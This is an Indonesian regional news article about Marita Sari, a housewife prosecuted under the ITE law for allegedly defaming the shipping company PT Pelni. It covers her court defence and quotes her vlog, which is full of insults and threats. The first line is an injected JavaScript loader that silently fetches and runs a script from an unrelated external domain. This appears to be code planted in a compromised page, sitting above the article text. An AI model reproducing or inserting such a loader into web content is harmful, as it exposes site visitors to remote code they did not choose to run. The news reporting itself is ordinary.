(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Diduga Cemarkan Nama Baik Pelni, Marita Dituntut 2 Tahun Penjara


SURABAYA, Tentu ingatan publik belum hilang dari benak, seorang warga Kebomas, Kabupaten Gresik, Jawa Timur bernama Marita Sari.

Ibu rumah tangga satu ini, kini dituntut dua tahun penjara oleh jaksa penuntut umum di Pengadilan Negeri (PN) Surabaya.

Tak terima tuntutan jaksa tersebut, Marita yang dijerat Undang-Undang ITE lantaran dianggap mencemarkan nama baik PT Pelayaran Nasional Indonesia (Pelni) mengajukan pledoi di hadapan majelis hakim.

Pledoi (pembelaan) disampaikan secara lisan oleh terdakwa. Dalam pembelaannya, ia mengaku bingung dengan kasus hukum yang dialaminya. Pasalnya, video yang dibuatnya dan diunggah ke media sosial hingga viral tersebut tidak bermaksud mencemarkan nama baik PT Pelni.

“Saya tidak bermaksud mencemarkan nama baik PT Pelni. Tidak ada sama sekali,” ujarnya.

Menurut Marita, video tersebut sengaja dibuat sebagai bentuk pembelaan diri atas tudingan skandal perselingkuhannya dengan Ketua Serikat Pekerja PT Pelni.

“Karena saya diisukan tidur dengan Ketua Serikat Pekerja PT Pelni. Dan membuat rumah tangga saya tidak harmonis. Padahal saat itu, saya mendapat tugas untuk menghimpun massa menghadap ke istana,” ujarnya saat sampaikan pledoi.

Selain Marita, tim penasehat hukumnya juga mengajukan pembelaan secara tertulis yang intinya meminta agar kliennya dibebaskan dari jeratan hukum.

Atas pembelaan tersebut, Jaksa Penuntut Umum (JPU) Bunari mengaku tidak mengajukan tanggapan atau replik.

Untuk diketahui, dalam kasus ini terdakwa Marita Sari didakwa melanggar pasal 45 ayat (4) jo. pasal 27 ayat (4) UU No. 19 Tahun 2016 tentang Perubahan Atas UU No 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik.

Berikut kutipan kata kata dalam vlog yang diunggah terdakwa Marita Sari melalui facebook bernama Marita.

“Saya cuma mau bilang buat istri-istri pelaut, perwira, bintara di Pelni, saya cuma bilang satu hal jangan kebanyakan gaya, kenapa ? karena saya tahu betul gitu loh gaji suami kalian berapa, kalian bergaya dengan uang yang ndak seharusnya jadi milik kalian, yaaa saya tahu betul permainan suami-suami kalian di kapal seperti apa, jadi kalau kalian mau nyombong mikir pakek otak ya, kartu suami kalian semua itu ada ditangan saya, saya punya bukti seribu bukti untuk membuktikan korupsi semua di Pelni, saya tahu, jadi kalau isteri-isteri perwira mau gaya, mau songong mikir yaa, apalagi mau gaya depan gue, gue sikat loe, karena saya tahu kelakuan orang Pelni”

“Jadi istri-istri perwira, bintara gak usah banyak gaya yaa, gak usah songong, gak usah banyak ngatur di kapal, gak usah berlagak kayak isteri jenderal yang seolah-olah kalian pemilik Pelni, kalian bukan siapa-siapa di Pelni saya gak perduli siapapun ya, siapapun di Pelni yang cari gara-gara dengan saya, saya sikat kalian satu per satu, saya gak perduli ya, kalian ganggu saya kalian saya sikat kalian satu per satu, saya gak perduli ya, kalian ganggu saya kalian saya sikat habis, jadi kalian isteri-isteri perwira, bintara gak usah banyak gaya, gak usah banyak sombong depan saya, kalian berani sombong didepan saya tak ludahin muka kamu, tak teriakkan didepan dirimu bahwa suamimu itu maling di Pelni oke, suami kalian maling di Pelni, uang yang kalian terima di luar rekening Mandiri itu sudah dipastikan uang haram tau, uang korupsi, kalian di Pelni bukan siapa-siapa, apalagi isteri perwira woo jangan coba-coba, kalian mau banyak gaya depan saya tak ludahin mukamu dan satu hal lagi sampek saya tahu ada yang memfitnah saya, satu orang saja ada fitnah saya, ada satu saja kata-kata fitnah saya, saya nggak segan-segan robek-robek mulutnya, tak permalukan, tak labrak suaminya di kapal, tak labrak isterinya sekalian, biar itu pelajaran telak buat kalian orang-orang dajjal di Pelni yaa Wassalamualaikum”. (muh)

Reporter : Muh
Editor : Bie


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

3 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

4 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

5 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

6 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

6 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

6 jam ago

This website uses cookies.